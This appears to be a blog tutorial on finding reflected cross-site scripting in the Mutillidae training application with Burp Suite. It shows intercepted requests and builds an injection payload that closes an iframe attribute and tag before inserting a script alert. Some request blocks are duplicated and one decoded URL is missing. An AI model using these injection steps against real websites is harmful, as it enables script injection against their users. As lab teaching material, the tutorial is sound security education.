Introduction
In my previous article we saw the different ways of fuzzing, including suffix and prefix. We used those fuzzing techniques in order to find error messages in web applications. Now that we know how to fuzz, we will use that skill to find XSS, generally known as cross site scripting.
Testing For XSS
Without wasting any time, let’s go to the Document Viewer page under the A3 cross site scripting (XSS) module. Various methods of exploiting XSS are in there, but first we will choose a simple method which is HTTP attribute.
As soon as you open the page, see what it tells you. In this case, we are provided four different types of options to see the documents on any web page. One of four is a downloadable document from that web application and other three documents are shown in the box below.
Let’s keep it as it is and intercept the request after submitting the document. Intercepted request is as follows:
GET /chintan/index.php?page=document-
viewer.php&PathToDocument=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php&document-viewer-php-submit-button=View+Document
HTTP/1.1Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/chintan/index.php?page=document-viewer.php&PathToDocument=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php&document-viewer-php-submit-button=View+Document
Cookie: showhints=0; PHPSESSID=e0a56snmg2cjhd3dccvar9h3o5
Connection: keep-alive
viewer.php&PathToDocument=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php&document-viewer-php-submit-button=View+Document
HTTP/1.1Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/chintan/index.php?page=document-viewer.php&PathToDocument=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php&document-viewer-php-submit-button=View+Document
Cookie: showhints=0; PHPSESSID=e0a56snmg2cjhd3dccvar9h3o5
Connection: keep-alive
By checking the PARAM section, we can identify that PathToDocument is the main parameter from which we are able to see the original content of the text which is displayed in the box. So let us remove the value of that parameter and try to fuzz it with our skills. First of all, I am removing the whole red highlighted line from the previous header. Now I will put first the simple text ‘Jonnybravo’ in order to see if my request gets successfully processed or if the server will give me an error. So I am just making a change in the first line of the header, which is as follows:
GET /chintan/index.php?page=document-
viewer.php&PathToDocument=jonnybravo&document-viewer-php-submit-
button=View+Document HTTP/1.1
viewer.php&PathToDocument=jonnybravo&document-viewer-php-submit-
button=View+Document HTTP/1.1
Now after forwarding the request, I have got 200 OK responses from the server and I have intercepted responses as well in Burp Suite, so that I can see the HTML coding of the response page in order to find our input, which is jonnybravo.
There are two matches which show my given input. So now I have come to know what to keep in mind while crafting an XSS exploit. First, jonnybravo is just a text between quotes, but at another place we have an iframe tag in which there is a src(Source) attribute and the value of that is jonnybravo.
We can check here for XSS by crafting a custom payload by arranging a proper suffix and prefix in jonnybravo input. In order to test XSS, we cannot execute our payload directly at this place in the middle of iframe. We have to break this tag and we can inject our payload somewhere outside before or after iframe tag. If we inject our payload somewhere out in iframe, then it will be lying in HTML code only, so it will be executed unless and if some other security techniques are not used.
Show Time
Now here is our target.
<iframe src=”jonnybravo” width=”700px” height=”500px”></iframe>
The first thing we need to do is to break the context. Here src=”jonnybravo”. So to break the context we need to give“jonnybravo as input. So the first ” of the default code and the second ” of our input work together, and the application will assume that there is blank input from client side. So now our code is something like below.
<iframe src=”“jonnybravo” width=”700px” height=”500px”></iframe>
Then as an iframe tag has been started, we need to close it in order to give our payload injection outside the iframe. So then we will give a closing tag in our input, which is “jonnybravo. So now our new code is something like below.
<iframe src=”“jonnybravo</iframe>” width=”700px” height=”500px”></iframe>
As you can conclude from the above line, iframe has been started and finished by our input now that we are outside of the iframe tag and we can give our payload here. So we will try to inject a Javascript alert. So for that our payload is <script>alert(“momma”)</script>. But it all comes after our given input. So our new and final input is as follows:
Payload : “jonnybravo</iframe><script>alert(“momma”)</script>.
Now our new code(request) is as below.
<iframe src=”“jonnybravo</iframe><script>alert(“momma”)</script> width=”700px” height=”500px”></iframe>
As you can see, that iframe tag is closed before our payload gets executed and whatever is written after my payload (height width and closing iframe tag) will not make any difference, as HTML will only consider it as a normal code lying out there, that the code is incomplete, so it won’t be executed. So I gave all this input in the request I intercepted, so my new request is as follows.
GET /chintan/index.php?page=document-viewer.php&PathToDocument=“jonnybravo</iframe><script>alert(“momma”)</script>&document-viewer-php-submit-button=View+Document HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/chintan/index.php?page=document-viewer.php&PathToDocument=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php&document-viewer-php-submit-button=View+Document
Cookie: showhints=0; PHPSESSID=e0a56snmg2cjhd3dccvar9h3o5
Connection: keep-alive
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/chintan/index.php?page=document-viewer.php&PathToDocument=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-network.php&document-viewer-php-submit-button=View+Document
Cookie: showhints=0; PHPSESSID=e0a56snmg2cjhd3dccvar9h3o5
Connection: keep-alive
After forwarding this request, as I told you, our Javascript alert payload will be executed outside of the framework, and it gave me an alert in a popup by saying “momma”, which was the input given by me.
To illustrate the work up to now, let us intercept the response of this request and let us check the coding and find where momma is lying in the code.
From the code, you can analyze that the iframe tag is closed when we give </iframe> in our input, and it started the script tag from the next line, so that script tag was our other input which we gave with it. It is not mandatory that you need to give ” first followed by jonnybravo. You can also craft a payload as follows.
Payload : Jonnybravo”</iframe><script>alert(“momma”)</script>
If I give the above payload, I get a response like the figure below.
Here it will execute the javascript along with the iframe as well. First, when it executes our payload you won’t be able to see the iframe box, but as soon as you click on the OK button, and when the complete page gets loaded, you will able to see the iframe box as shown in the figure below.
To verify that it is an iframe box, I have pressed F12 to see the runtime coding of the page, and I am using the inspect element option provided by Firebug. It is not actually a Firebug add-on, but it is inbuilt in the version of Firefox I am using. It shows that I am inspecting one element, and by watching the HTML code, it can be confirmed that it is my jonnybravo iframe source.
“It depends on your HTML skills and the basic knowledge of encoding and decoding of special characters, if you know that in depth you can bypass the filters. However, OWASP provides an XSS filter cheatsheet, which is available on their official website in case you need it. It explains encoding and decoding techniques along with filter bypassing techniques.”
Use Burp Decoder
Many times a URL you might see will not be so easy to understand and recognize by looking into that. It might be that an encoded server is using encoding techniques for at least special characters. In such situations, if you cannot understand the URL, simply put it into the Burp Decoder.
How-To
Encoded URL:
http:%2f%2flocalhost%2Fchintan%2findex.php%3fpage%3ddocument%2dviewer.php%26PathToDocument
%3ddocumentation%2Fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork.php
%26document%2dviewer%2dphp%2dsubmit%2dbutton=View+Document
%3ddocumentation%2Fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork.php
%26document%2dviewer%2dphp%2dsubmit%2dbutton=View+Document
Let us assume that we have this URL which is in encoded form and we are not able to understand what it says. Simply copy and paste this URL in Burp Decoder and click on “Smart Decode”. If Burp knows the decoding method, it will decode the URL. I have decoded this URL, and the simplified form of this URL is as follows:
Decoded URL:
In Burp, it will look like this:
Conclusion
So this is how the cross site scripting attack, also known as XSS, is hatted by attackers to the web application. This attack is used to bypass the access controls. It varies with the nature of the security implemented by the web application developer. XSS also depends on the behavior of the input data which is being handled by the web application.
References
No comments:
Post a Comment